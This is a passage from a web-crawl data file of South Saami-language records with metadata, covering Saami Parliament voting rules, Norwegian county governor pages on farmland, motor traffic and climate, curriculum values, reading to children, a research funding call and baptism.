1.000005841255188}","num_words":442,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Published: 7 May 2021\nKrirriem jïh persovnem tjaatsestidh veeljemisnie Saemiedægkan\nGååvnesieh veeljemesïetelh kandidaatigujmie fïerhtese krirride mah meatan veeljemisnie. Lissine krirriem tjaatsestidh maahtah aaj persovnem tjaatsestidh kandidaatese kroessem bïejedh\nVeeljemesïetelinie krirriej nommh jïh kandidaatelæstoeh\nVeeljemisnie Saemiedægkan maehtieh dåehkieh, krirrieh jïh plearoeh aktanimmieh meatan årrodh. Daesnie dejtie krirrieh gohtje.\nVeeljemesïetelh krirriej nommigujmie jïh kandidaatelæstoeh trygkede jïh veeljemesavkide buakta. Gaajhki krirriej veeljemesïetelh seedtie aaj gåatan dejtie gïeh åadtjodh tjaatsestidh tjaatsestimmiekåarhtine.\nKrirriem tjaatsestidh bielelen persovnem tjaatsestidh\nSïjhth datne ajve krirriem tjaatsestidh vaeltieh dellie veeljemesïetelem krirrien nommine jïh ih kroessem kandidaatese bïejh.\nPersovnem tjaatsestidh\nMaahtah persovnem tjaatsestidh gosse kroessem bïejedh kandidaaten nommen uvte veeljemesïetelisnie. Maahtah ajve akte kandidaatem kroessedh jïh ih maehtieh kandidaatem sliejhtedh. Ij maehtieh gænnah jienebe kandidaath veeljemesïetelasse tjaeledh.\nMannasinie eah gåaroes veeljemesïetelh gååvnesh?\nVeeljemisnie Saemiedægkan leah gaajhkh krirrieh jïh kandidaath åvtelbodti bæjhkoehtamme jïh veeljemesïetelh kandidaatelæstojne gaajhkide krirride gååvnesieh gaajhkene veeljemesavkine. Veeljemesïetelh aaj gåatan veeljijidie seedtie. Dïhte dan gaavhtan ij daarpesjh gåaroes veeljemesïetelh.\nDah gåaroes veeljemesïetelh byjjes veeljemisnie gååvnesieh dan gaavhtan veeljije edtja maehtedh krirrien- jïh kandidaati nommh dïsse jïh ij veeljije gaavnh reaktoe veeljemesïetelem.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.val.se\/val-och-folkomrostningar\/saemiedigkie-sydsamiska\/krirriem-jih-persovnem-tjaatsestidh.html","date":"2021-12-06T21:33:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363312.79\/warc\/CC-MAIN-20211206194128-20211206224128-00503.warc.gz","language":"sma","language_score":1.000000596,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000005960464478}","num_words":170,"character_repetition_ratio":0.158,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jåartavaarjelimmie\nMijjieh ientjh jïh sjïdtedehteles jåartam daarpesjibie juktie beapmoefasseldimmiem gorredidh guhkiebasse. Dannasinie ibie byörh geajnoeh, gåetieh jïh industrijegåetieh intjine bïgkedh. Jåartavaarjelimmie lea hoksedh dïhte bööremes jåarta annje beapmoedorjemassese åtnasåvva, jïh ij jeatjah åtnose vaaltasovvh.\nDeadtove beapmoejåartadajvide jeerehte fylhkeste fylhkese\nDah haestemh daennie suerkesne jïjnjem dajveste dajvese jeerehte, goh beetsuvedajvh, suvveme jïh nåake tjåadtjoehtimmie muvhtine dajvine, jïh faetie, giehpiedimmie, arealh fååtese gusnie maahta gåetiekreeki bejhkieh geerjehtidh, jïh dovres leejjemeåasa muvhtine dajvine.\nDah bielieh laanteste staarigujmie jïh voenigujmie mah jeenjemes sjidtieh, aaj dah bööremes jåartaburriedajvh utnieh. Dej minngemes 50 jaepiej dle vielie goh aktem millijovnem dekar jåartaarealeste jeatjah åssjelidie jarkelamme. Arealesoejkesjimmesne tjuara lissiebïgkemedaerpiesvoetem, skovhteöörnegh, kruanastruktuvrem, ålkoeiedtjh, biologeles gellievoetem jïh kultuvrevaarjelimmiem ektesne vuarjasjidh.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.statsforvalteren.no\/sma\/portal\/Laanteburrie-jih-beapmoe\/Jaartavaarjelimmie\/","date":"2021-12-02T04:27:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964361064.69\/warc\/CC-MAIN-20211202024322-20211202054322-00286.warc.gz","language":"sma","language_score":1.0000001192,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 1.0000001192092896}","num_words":109,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Almetje bielie eatnamistie jïh dïedtem åtna daam eensilaakan gorredidh. Lïerehtimmien tjïrrh learohkh edtjieh maahtoem åadtjodh eatnemen bïjre jïh respektem eatnamasse evtiedidh. dah edtjieh åadtjodh eatnemem dååjrehtidh jïh daam vuejnedh goh gaaltije nuhtjeme, aavoe, healsoe jïh lïereme. Learohkh edtjieh goerkesem evtiedidh guktie almetjen jieledevuekiem eatnemem jïh klijmam tsavtsa, jïh dan mietie aaj mijjen siebriedahkide. Skuvle edtja viehkiehtidh learohkh væljoem evtiedih byjresem vaarjelidh.\nMaanah jïh noerh edtjieh daenbiejjien jïh jirreden haestemh gïetedidh, jïh mijjen ektie båetije biejjide jeerehte båetije boelvh eatnemem vaarjelidh. Globaale klijmajeatjahtehtemh, deerjeme jïh biologijen gellievoetem dasseme leah gaskem jeatjebh dah stööremes byjreseaajhtoem veartanisnie. Dah haestemh tjoerebe ektesne loetedh. Mijjieh maahtoe, etihkeles vuajnoem jïh teknologeles innovasjovnem daarpesjibie jis maehtebe daejtie loetedh jïh daerpies jeatjahtehtemidie darjodh mijjen jieledevuekine jïh jielemh eatnamisnie vaarjelidh.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/opplaringens-verdigrunnlag\/1.5-respekt-for-naturen-og-miljobevissthet\/?kode=kkm01-02&lang=sma","date":"2021-12-03T12:42:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362879.45\/warc\/CC-MAIN-20211203121459-20211203151459-00388.warc.gz","language":"sma","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":273,"top_langs":"{\"sma_Latn_score\": 1.0000096559524536}","num_words":121,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Motovrefealadimmie\nMotovrefealadimmielaake jïh baalte mieriedimmieh vuejemem stuvrehte motovrevuajastahkigujmie miehtjesne. Tjïelth laakem tjïrrehtieh daennie suerkesne. Fylhkenålma tjïeltide bïhkede jïh lea klååkemesuerkie tjïelten nænnoestimmide.\nMotovrefealadimmielaaken åssjele lea eatnemebyjresem vaarjelidh jïh lïegkedimmieaarvoeh gorredidh. Laaken mietie dle ij leah luhpie motovrevuajastahkigujmie fealadidh miehtjesne jïh tjaetsieåerine. Njoelkedassi mietie dle maahta læjhkan luhpiem åadtjodh vuejedh, dastegh neavroe jallh militære haarjanimmieh.\nFinnmarhkesne jïh Noerhte-Tromsesne jïjtsh njoelkedassh motovrefealadæmman miehtjesne, jïh daesnie Fylhkenålman jienebh laavenjassh motovrefealadimmielaaken jïh nasjovnaale mieriedimmiej mietie.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.statsforvalteren.no\/sma\/portal\/Byjrese-jih-klijma\/Motovrefealadimmie\/","date":"2021-11-27T17:47:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358208.31\/warc\/CC-MAIN-20211127163427-20211127193427-00036.warc.gz","language":"sma","language_score":0.9999955893,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9999955892562866}","num_words":71,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.106,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juakasovveme Bertije NRK Sápmi Vaadtasovvemejaepie 2016 Faage Siebriedahkefaage Saemien histovrije jïh siebriedahke Daltese 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Julevsaemiengïele Noerhtesaemiengïele Åarjelsaemiengïele Daaroengïele Reakta-aajhtere NRK Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Aerpiemaahtoe Beapmoe Eatnemenåhtoe Vuelie Njaalmeldh kultuvre Duedtie Eatnemelearoe Åålmege jïh laanth Saepmie Histovrije Saemien histovrije Kultuvre Filme Kåanste Musihke Aarhte jïh daajroe Siebriedahke Meedije Politihke Siebriedahkedaajroe Saemiengïele Viehkiebaakoe TV-programme Dokumentaare","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ovttas.no\/sma\/filbma_ardna","date":"2021-11-27T02:44:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358078.2\/warc\/CC-MAIN-20211127013935-20211127043935-00037.warc.gz","language":"sma","language_score":0.9997529387,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.999752938747406}","num_words":58,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fylhkenålma edtja barkedh luejhtiemidie klijmagaassijste giehpiedidh, jïh båetijen aejkien skaaride gaertjiedidh. Akte vihkeles bielie soejkesjimmiebarkoste lea hijven skovhtevuekieh, nænnoes geajnoeh jïh ruevtieraarjoeh, jearsoes energijefasseldimmie jïh gåetieh jïh jeatjah tseegkeldahkh mah eah maehtieh væjroste vaaltasovvedh, jallh jeatjah ovlæhkoeh eatnamisnie dååjredh. Fylhkenålma edtja aaj viehkiehtidh guktie siebriedahke buektehte dulviem, vyjremem, straejmietsoepkenem jïh jeatjah ietjmies heannadimmieh haalvedh.\nVoenges soejkesjimmie klijmajarkelimmide\nFylhkenålma lea goh lïhtse dan nasjovnaale klijmapolitihken jïh tjïrrehtimmien gaskem voenges siebriedahkine. Tjïelth åejviedïedtem utnieh hijven siebriedahkh bïgkedh sijjen årroejidie, jïh klijmaperspektijve akte vihkeles bielie daehtie soejkesjimmeste.\n- Fylhkenålma edtja hoksedh tjïelth klijmajarkelimmide nuekies krööhkieh gosse nænnoestimmieh darjoeh. Fylhkenålma lea suerkiefaamoe, gaskem jeatjah byjresasse jïh laantebårran, jïh faamoem åtna tjïelth vaaksjodh, aktegsnænnoestimmieh gïehtjedidh mah eah nuekies klijmajarkelimmide krööhkh, jïh gïrredh soejkesje- jïh bigkemelaaken mietie.\n- Fylhkenålma tjïelten gaerviesvoetebarkoem vååksje.\n- Fylhkenålma tjïeltide bïhkede klijmabarkosne. Fylhkenålma edtja tjïelkestidh maam staate kreava jïh veanhtede tjïeltijste, jïh seamma tïjjen tjïelten vuajnoeh buektedh voernges åejvieladtjide.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.statsforvalteren.no\/sma\/More-jih-Romsdalen\/Byjrese-jih-klijma\/Klijma\/","date":"2021-11-26T22:50:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358074.14\/warc\/CC-MAIN-20211126224056-20211127014056-00621.warc.gz","language":"sma","language_score":1.0000001192,"language_script":"Latn","minhash_cluster_size":38,"top_langs":"{\"sma_Latn_score\": 1.0000001192092896}","num_words":145,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åssjeleparagraafen aarvoeh soptsestieh mah Nöörjem tjöönghkieh siebriedahkine. Mijjen demokratijen aarvoeh betnesne mah edtjieh mijjiem viehkiehtidh jieledh, lïeredh jïh laavenjostedh komplekse ektietïjjesne jïh ovnohkens båetije biejjieh gaavnesjidh. Dah ektieaarvoeh leah kristegassjh jïh humanistihken aarvoen jïh aerpievuekien nïlle tseegkeme. Dah aaj vååjnesasse båetieh ovmessie religijovnine jïh jieledevuajnojne, dah leah aaj almetjereaktide tjatneme.\nDaah aarvoeh leah skuvlen dorjesen våarome. Daejtie tjuara jielije dorjesovvedh jïh fïere guhte learohke tjuara dejtie guarkedh skuvleektievoetesne daajroebeagkoehtimmien tjïrrh jïh vuajnoeh jïh daajroem evtiedidh. Skuvle jïh lohkehtæjjah tjuerieh aarvojde betnesne utnedh gosse learoehkidie jïh hïejmem gaavnesjidh. Learohken bööremes edtja iktesth krööhkestamme sjïdtedh. Dïhte iktesth sæjhta gellielaaketje årrodh ovmessie ïedtji jïh vuajnoej gaskem. Lohkehtæjjah tjuerieh dan gaavhtan dej profesjonelle goerkesem nuhtjedh guktie fïere guhtem bööremes vuekine vaarjelidh gåessie dïhte ektievoetem gaavnesje.\nDïhte saemien skuvle edtja sjïehteladtedh guktie learohkh lïerehtimmiem åadtjoeh mij våarome åtna saemien aarvojne jïh saemien gïeline, kultuvrine jïh siebriedahkejielemisnie. Åssjeleparagraafen aarvoeh leah aaj saemien aarvoeh jïh faamosne saemien skuvlesne. Saemien skuvlesne vihkeles abpesaemien perspektijvem utnedh, jïh leavloem bïejedh materijelle jïh immaterijelle kultuvreaerpie goh aerpievuekien maahtoe, duedtie jïh maadtoe- jïh fuelhkierelasjovnh.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/opplaringens-verdigrunnlag\/?kode=geo01-02&lang=sma","date":"2021-11-28T23:28:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358673.74\/warc\/CC-MAIN-20211128224316-20211129014316-00224.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":273,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":172,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.192,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lohkemen bïjre - lohkede ektesneMaanide lohkedh dehtie raejeste dah leah smaave, maanan baakoevåarhkoem tjarke lissehte. Maana jearsoesåbpoe sjædta saemien nuhtjedh. Dotkeme vuesehte doh voestes jaepieh maanaj jieliedisnie våaromem biejieh lïeremasse jïh sosijaale evtiedæmman. Positijve dååjrehtimmieh gærjajgujmie jïh lohkeminie hijven våaromem lohkeme- jïh tjaelemelïerehtæmman sjugniedieh mænngan. Geerve almetjh maehtieh hijven åvteguvvine jïh råållamaalline lohkemisnie sjïdtedh. Dan vihkielåbpoe gærjah maanaj jieliedisnie leah dehtie raejeste dah leah smaave, dan vielie ryöjreldihkie leah lïeredh lohkedh gosse skuvlem aelkieh. 10 hijven fåantoeh maanese lohkedh: Seadtoes jïh murreds maanese gosse naaken dïsse låhka! Gosse lohkebe, baakoevåarhkoem jïh gïelegoerkesem maanan luvnie lissiehtibie Dijjieh ektie dååjresem åadtjode Dijjieh jienebh soptsems-aamhth åadtjode Gïele buerebe sjædta Maana leara goltelidh Dijjieh maanan goerkesem jeatjah almetji jïh jieledevuekiej åvteste lissiehtidie Maana jïjtjemse buerebe guarkoe gosse jïjtjemse jïh mubpieh gærjine damteje Lohkeme fantasijem, domtesh, stååkedimmiem jïh nïekedassh maanan luvnie skreejrie Daajroe læssene – maana vielie leara Lohkede ektesne daamtaj, eeremasth fïerhten biejjien! Eevre dehtie raejeste maanah leah naa smaave, maahtah lohkemeståantem dov maanine utnedh. Gieries jïh jearsoe relasjovni tjïrrh sïjhth viehkiehtidh guktie maanan gïelemaahtoeh jïjtjemse hijvenlaakan evtiedieh. Aelkieh aareh! Gaavnh gærjah mah maanan aaltarasse sjiehtieh. Gærjagåetesne gærjah ovmessie aalteredåehkide gaavnh. Såemies gærjah sijhtieh lyjhkedegærjah årrodh, jïh dov maana sæjhta datne edtjh gærjam lohkedh gellien aejkien. Bïejh gærjide akten sæjjan gusnie aelhkie maanese dejtie gaavnedh. Lohkemeraerieh Jamhkelh musihkem, TV:m, jïh tellefovnem svïegkesasse bïejh (sjaevehts moduse!) Vaeltieh maanam dov faerhmien sïjse. Dåeredh maanan tsåatskelesvoetem jïh ïedtjem. Lohkemeståanth maehtieh åenehke årrodh. Nuhtjh dov gïelem juktie ïedtjem sjugniedidh. Aaj vihkele datne slaajperdh jïh murredh. Lohkeme daajide gååske, baajh maanam gærjam doehtedidh, jïh dejnie åahpenidh. Vuartasjidie guvvide ektesne, jïh soptsestidie dej bïjre. Teekste datnem viehkehte. Hijven raerie maahta årrodh lohkedh gosse maana lea byöpmedamme, jïh lea madtjele jïh gallas. Vaeltieh åtnose fuelhkiem jïh jeatjah lïhkes almetjh. Åerpenh jïh aahka gon aajjah maehtieh aaj maanese lohkedh. Ånnetji ånnetji maana sæjhta dåajvoeh vuesiehtidh jïh skraejriem vaeltedh lohkemeståantese. Vaeltieh åtnose fuelhkiem! Madtjeldehtieh båarasåbpoe åerpenh, aahkah gon aajjah jïh jeatjah geerve almetjh aaj don onne maanese lohkedh. Akte hijven vuekie ektievoetem nænnoestidh. Dellie lohkije råållamaallh sjugnedh jïh vuesehth datne jïh jeatjah geerve almetjh aaj lyjhkede lohkedh. ArtikkelPublisertDatoFront01.07.2021 09.34 SistEndret08.10.2021 10.59","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/sametinget.no\/saemiedigkien-garjagaetie\/lohkh-munnjien-giele-voestesiereste\/lohkemen-bijre-lohkede-ektesne\/","date":"2021-12-08T13:07:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363510.40\/warc\/CC-MAIN-20211208114112-20211208144112-00224.warc.gz","language":"sma","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000008225440979}","num_words":343,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie barka ihke saemieh edtjieh åadtjoeh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem gorredidh jïh evtiedidh.\nGoevten 6.b. saemiej åålmegebiejjiem aavoedibie. Mijjieh ohtje bïevnesh tjöönghkeme åålmegebiejjien jïh nasjonaale symbovli bïjre. Daesnie aaj nuhteligs vierhtieh maanagïertide, skuvlide jïh jeatjabidie. Lohkh vielie\nlea prosjekte mejnie Nöörjen Saemiedigkie lea aalkeme.\nMijjieh sïjhtebe saemien maanah edtjieh dam ellen bööremes aalkovem åadtjodh goh gåarede sijjen gïelem evtiedidh. Gosse eejhtegh, aahka gon aajjah jïh jeatjah geerve almetjh maanese luhkieh dellie dïhte vihkeles våaromem vadta lïeremasse jïh lohkemelastose jïh mænngan lohkeme- jïh tjaelemebievniemasse.\nLohkh vielie Lohkh munnjien! bïjre","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/sametinget.no\/?sprak=14\/","date":"2022-01-29T12:51:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320306181.43\/warc\/CC-MAIN-20220129122405-20220129152405-00226.warc.gz","language":"sma","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000079870224}","num_words":91,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3 millijovnh dotkemasse mah saemien ïedtjh nænnoestieh jaepien 2021\nRegionalt forskningsfond Trøndelag \/ Regijovnaale dotkemefåante Trööndelaage daelie 14 millijovnh regionaale dotkemeprosjeektide bïeljele. Dejstie millijovnijste leah 3 millijovnh mïerhkesjamme dåarjoeh saemien jieleme- jïh siebriedahkeevtiedæmman regijovnesne.\nAv Ida Valsø\nMaahta dåarjoem ohtsedidh onne åvteprosjeektide, guktie gohtje regijovnaale kvalifiseeremedåarjoe, saemien kultuvrem jïh jielemedarjomem gorredidh jïh evtiedidh, jïh aaj hijven byjjes dïenesjh saemien åålmegasse evtiedidh. Dåarjoeh leah evtemes stuvreme saemien jielemeaktööride lissine tjïeltide mah daarpesjieh orre dorjesh, dïenesjh jïh barkoevuekieh evtiedidh dotkemebyjresinie ektesne. Dotkemebyjresh mah goerehtieh (åarjel)saemien jieleme- jïh siebriedahketsiehkieh åtnoeïedtjigujmie regijovnesne, maehtieh aaj dåarjoem ohtsedidh.\nBæjhkoehtimmiem gellie mierieh jaepien mietie jïh maahta kr 700 000 raajan fïere prosjeektese ohtsedidh dåarjojne foenteste. Jis sïjhth vielie bïevnesh mijjen bæjhkoehtimmiej bïjre, vuejnieh bïevnesh RFF Trööndelagen nehtesæjrojne jallh bïeljelh ryöktesth sekretariatem. Lohkh aaj mijjen saernieh saemien dotkemi bïjre læstojne saemien prosjeekti bïjre mejtie aarebi finansijeradamme.\n- - - - -\n3 millioner til forskning som styrker samiske interesser i 2021\nRegionalt forskningsfond Trøndelag lyser nå ut 14 millioner til regionale forskningsprosjekter. 3 av disse millionene er øremerkede midler til samisk nærings- og samfunnsutvikling i regionen.\nDet kan søkes om midler til små forprosjekter, såkalt regional kvalifiseringsstøtte, for å bevare og utvikle samisk kultur og næringsvirksomhet, samt utvikle gode offentlig tjenester for den samiske befolkningen. Midlene er rettet mot samiske næringsaktører i tillegg til kommuner som har behov for å utvikle nye produkter, tjenester og arbeidsmetoder i samarbeid med et forskningsmiljø. Forskningsmiljøer som studerer (sør)samiske nærings- og samfunnsforhold i tett dialog med brukerinteressene i regionen, kan også søke om støtte.\nUtlysningen har flere innsendingsfrister i løpet av året og det kan søkes om inntil kr 700 000 per prosjekt i støtte fra fondet. For mer informasjon om våre utlysninger, se informasjon på RFF Trøndelag sine nettsider eller ta direkte kontakt med sekretariatet. Les også vår nyhetssak om samisk forskning med liste over samiske prosjekter som vi tidligere har finansiert.\nMeldinger ved utskriftstidspunkt 21. januar 2022, 14.37 CET","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.regionaleforskningsfond.no\/trondelag\/om-rff-trondelag\/nyheter-rff-trondelag\/3-millijovnh-dotkemasse-mah-saemien-iedtjh-nannoestieh-jaepien-2021\/","date":"2022-01-21T13:37:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303385.49\/warc\/CC-MAIN-20220121131830-20220121161830-00371.warc.gz","language":"sma","language_score":0.9759141803,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9759141802787781, \"nob_Latn_score\": 0.012956433929502964}","num_words":298,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":0.976,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavkome - fuelhkiehïeje\nLaavkome lea aavoen hïejefuelhkide jïhslïektese , nuepie tjåanghkenidh jïh gijhtedh daam gien laavkodh jïh buerie-sjugniedassem sov jieleden åvteste rohkelidh. Laavkomen tjïrrh mijjem bööresåvva stuerebe fuelhkie-ektievoetese, veartenen kristeles gærhkoen ektievoetese jïh lïhtseginie jïjtje åålmegisnie jïh Sveerjen gærhkose.\nMaahta gaajhkine aalterinie laavkodh\nSveerjen gærhkoe maanah, noerh jïh geerve almetjh lååvkesåvva. Laavkome lea vadtese Jupmelen lïhkesvoeteste, Jupmielasse geelkesovvedh jïh Jupmelen gieriesvoetem jaehkedh. Dej maanaj åvteste eejhtegh veeljieh maam bööremes maanese, aaj laavkoemisnie: stuerebe jearsoesvoete jielemen feelemisnie. Gosse maana geerve sjædta dellie maahta jïjtje laavkomen bööremem vaestiedidh Jupmelen lïhke jieledh. Daam dorje skyllemelïerehtimmine jïh skylleminie. Sïjhth dov maanam lååvkesovvedh jallh sïjhth datne jïjtje lååvkesovvedh. Gaskesadth dov åålmegem.\nLaavkome lea bööredimmie\nJupmele jijtsedh learohkidie stillie vaedtsiehtidh jïh laavkodh jïh gaajhkem bueriem båetiebasse jåerhkedh mejtie dejtie lïereme. Dan vuekien mietie kristeles gærhkoe sjïdteme! Jeesusen stilleme almetjidie laavkodh vihkeles sjïdteme gærhkoen jieliemasse.\nLaavkome lea ræhpas okse, bööreme gaajhkide dovnide. Laavkomisnie laavkometjoevkesem båaltajehtedh jïh Jeesusen baakojde lohkedh:","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.svenskakyrkan.se\/laavkome","date":"2022-01-29T14:24:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320306181.43\/warc\/CC-MAIN-20220129122405-20220129152405-00703.warc.gz","language":"sma","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 1.0000081062316895}","num_words":150,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Skuvle goh siebriedahkeinstitusjovne åelede aarvojde jïh prinsihpide tseegkedh jïh nuhtjedh maadthööhpehtimmesne. Skuvleaajhterh, skuvleåvtehkh jïh lohkehtæjjah dej ovmessie råållijste ektie dïedtem utnieh sjïehteladtedh buerie evtiedimmiem skuvlesne. Dah tjuerieh ektesne geehtedh skuvlen barkoe lea akteraeresne abpe learoesoejkesjevierhkine. Hijven jïh öörnedihks laavenjosteme maanagïerten jïh skuvlen gaskem, dah ovmessie daltesh lïerehtimmesne jïh skuvlen jïh hïejmen gaskem viehkiehtieh aelkebe daltesistie daltesasse juhtedh.\nLohkehtæjja lea råållamodeelle gie edtja jearsoesvoetem skaepiedidh, jïh learoehkidie viehkehte dej baalkan mietie lïerehtimmien tjïrrh. Lohkehtæjja vihkielommes lïeremebyjresisnie mij skreejrie jïh viehkehte learohkh lierieh jïh evtiedieh. Daate kreava lohkehtæjja hoksem vuesehte fïere guhte learohkem. Daate aaj learoehkidie viehkehte gïeh ovlahkoen veeljemem darjoeh, eah damth dah leah inkluderadamme, jallh hoskesieh dejnie maam edtjieh lïeredh. Lohkehtæjja edtja barkedh learohkh åadtjoeh dååjredh dah sijjiem utnieh aktene positijve ektievoetesne jïh lohkehtæjja edtja aaj kultuvrem lïerehtæmman evtiedidh jïh learoehkidie faageles jïh emosjonelle dåarjoem vadta.\nLohkehtæjjaprofesjovne sov profesjovnebarkoem tseegkie ektie aarvojne jïh ektie dotkeme- jïh dååjresevåaromen maahtoebatnan. Profesjovne jïh fïere guhte lohkehtæjja dïedtem utnieh goerkesem nuhtjieh komplekse gyhtjelassine. Lohkehtæjjah jïh åvtehkh faageles, pedagogeles, didakteles jïh faagedidakteles goerkesem dialogine jïh ektiebarkosne dej barkoeguejmine. Profesjonelle goerkese tjïrrehte jïh evtede dovne individuellen vuekine jïh laavenjostosne. Faageles goerkese aaj tjuara jaabnan orrestidh. Lohkehtæjjaprofesjovne tjuara dan gaavhtan sov pedagogeles barkoem vuarjasjidh guktie fïere guhte learohkem jïh learohkedåehkide dïervesjidh bööremes vuekine.\nEah gïerve pedagogeles gyhtjelassh vihties vaestiedassh utnieh. Barkijh skuvlesne tjuerieh dan gaavhtan akseptansem jïh sijjiem utnedh dej vuarjasjimmie-maehtelesvoetem nuhtjieh dej barkosne. Lohkehtæjjah tjuerieh eensilaakan ussjedidh mij, guktie jïh man gaavhtan learohkh lierieh, jïh guktie dah bööremes vuekien maehtieh learohki lïeremem, evtiedimmiem jïh skearkagimmiem lijrehtidh jïh dåarjoehtidh. Lohkehtæjjah gïeh ektievoetesne ussjedieh jïh vuarjasjieh lïerehtimmien soejkesjimmiem jïh tjïrrehtimmiem, buerebe guarkoem evtiedieh mij pedagogeles barkoe. Daate tjuara darjodh dovne profesjovnen maahtoevåaroemistie jïh maadthööhpehtimmien aarvoevåaroemistie.\nDïhte profesjonelle laavenjostome skuvline tsïhkestahta hijven stuvreme. Hijven skuvlestuvreme aaj tsïhkestahta stuvremefaageles legitimiteete jïh hijven guarkoe pedagogeles jïh jeatjah haestemi åvteste mah lohkehtæjjah jïh jeatjah barkijh dåastoehtieh. Hijven stuvreme prioriterede laavenjostoem jïh relasjovnh evtiedidh guktie jearsoesvoetem organisasjovnesne tseegkie. Skuvlen stuvreme edtja sjïehteladtedh learohki jïh lohkehtæjjaj lïeremem jïh evtiedimmiem. Skuvlestuvreme edtja stuvredh pedagogeles jïh faageles laavenjostoem lohkehtæjjaj gaskem jïh meatan årrodh tjïrkes jïh postitijveles byjresem evtiedidh gusnie gaajhkh sijhtieh dej bööremes darjodh. Dïhte lea skuvlestuvremen laavenjasse numhtie stuvredh guktie gaajhkh åadtjoeh dej tjarki bielieh nuhtjieh, maehtieh jïh evtiedieh.\nHijven skuvleevtiedimmie sijjiem kreava gusnie maehtieh gihtjedh jïh 